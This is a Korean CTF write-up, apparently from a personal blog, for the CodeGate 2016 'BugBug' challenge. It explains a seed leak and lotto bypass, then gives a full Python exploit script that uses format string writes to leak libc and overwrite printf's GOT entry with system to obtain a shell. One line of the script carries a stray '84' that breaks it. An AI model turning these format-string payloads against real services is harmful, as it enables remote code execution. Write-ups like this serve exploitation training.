본문 바로가기

ctf

[CodeGate 2016 CTF] BugBug

fsb 취약점을 가진 32bit 바이너리로 기능은 엄청 간단한다.

 

가장 먼저 /dev/urandom 에서 난수를 생성한다. 그리고 사용자로부터 100byte 만큼 입력을 먼저 받고 해당 내용을 출력해준다. 그리고 lotto 번호를 입력받는데 해당 번호를 맞출 경우 "Congratulation" 문자와 함께 fsb 취약점이 존재하는 루틴으로 넘어간다.

 

우리는 100byte를 이용해 seed 값을 릭 해올 수 있으며, 이 seed 값을 바탕으로 lotto 번호 또한 알 수 있다. 여기까지 진행한다면 fsb 취약점을 이용해 라이브러리 주소를 릭하고, offset 계산을 통해 system 주소까지 알 수 있다.

결과적으로 printf(&buf) 부분의 print@got 에 system 주소를 덮어쓰고 &buf 에 /bin/sh 문자열을 넣어준다면 쉘을 얻을 수 있다.

 

 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

import sys
import subprocess
import hexdump
from telnetlib import *
from struct import *
from socket import *


p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]


payload = "\x24\xa0\x04\x08" + "\x26\xa0\x04\x08" + "%2$9x" + "%34882x" + "%17$n" + "%32689x" + "%18$n"
r_payload = payload + "A"*(100 - len(payload))


s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.127.162', 11111))

print s.recv(1024)

s.send(r_payload + "\n")
data = s.recv(1024)


raw_input("<")
#hexdump.hexdump(data)

print "[*] seed leak...!"

seed = data.split(r_payload)
seed = up(seed[1][:4])
print "[*] seed value = 0x%x" % seed

command = "./rand" + " " + str(seed)
result = subprocess.check_output(command, shell = True)

lotto1 = result.split('\n')[0]
lotto2 = result.split('\n')[1]

print s.recv(1024)
s.send(lotto1 + "\n")

data1 = s.recv(1024)
print data1

_libc_addr = int(data1[26:34], 16)

while 1:
    sys.stdout.flush()
    buffer = s.recv(1024)
    print buffer
    if len(buffer) != 1024:
        break

print "[*] _libc_addr = 0x%x" % _libc_addr

_libc_base = _libc_addr - 0x1ab000
print "[*] _libc_base = 0x%x" % _libc_base

system_libc = _libc_base + 0x40310
print "[*] system_libc = 0x%x" % system_libc


payload2 = "\x3c\xa0\x04\x08" + "\x3e\xa0\x04\x08" + "%2$9x" + "%35157x" + "%21$n" + "%32414x" + "%22$n"

s.send(payload2 + "\n")
print s.recv(1024)
print s.recv(1024)

s.send(lotto2 + "\n")
data2 = s.recv(1024)84
print data2

while 1:
    sys.stdout.flush()
    buffer = s.recv(1024)
    print buffer
    if len(buffer) != 1024:
        break


high_system_addr = system_libc / 0x10000
low_system_addr = system_libc % 0x10000

print "[*] high_system_addr = 0x%x" % high_system_addr
print "[*] low_system_addr = 0x%x" % low_system_addr

low = int(str(low_system_addr), 10) - 16
high = int(str(high_system_addr), 10) - int(str(low_system_addr), 10)

 

payload3 = ";hs/nib/" + "\x10\xa0\x04\x08" + "\x12\xa0\x04\x08" + "%" + str(low) + "x" + "%25$n" + "%" + str(high) + "x" + "%26$n"

s.send(payload3 + "\n")
print s.recv(1024)
#print s.recv(1024)


t = Telnet()
t.sock = s
t.interact()

s.close()

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

'ctf' 카테고리의 다른 글

[Plaid CTF 2013] pork  (0) 2017.01.06
[DEFCON 2015 CTF] r0pbaby  (0) 2017.01.05
[CodeGate 2016 CTF] Fl0ppy  (0) 2016.12.21
[HolyShield 2016 CTF] pwnit  (0) 2016.12.19
[CodeGate 2016 CTF] Watermelon  (0) 2016.12.14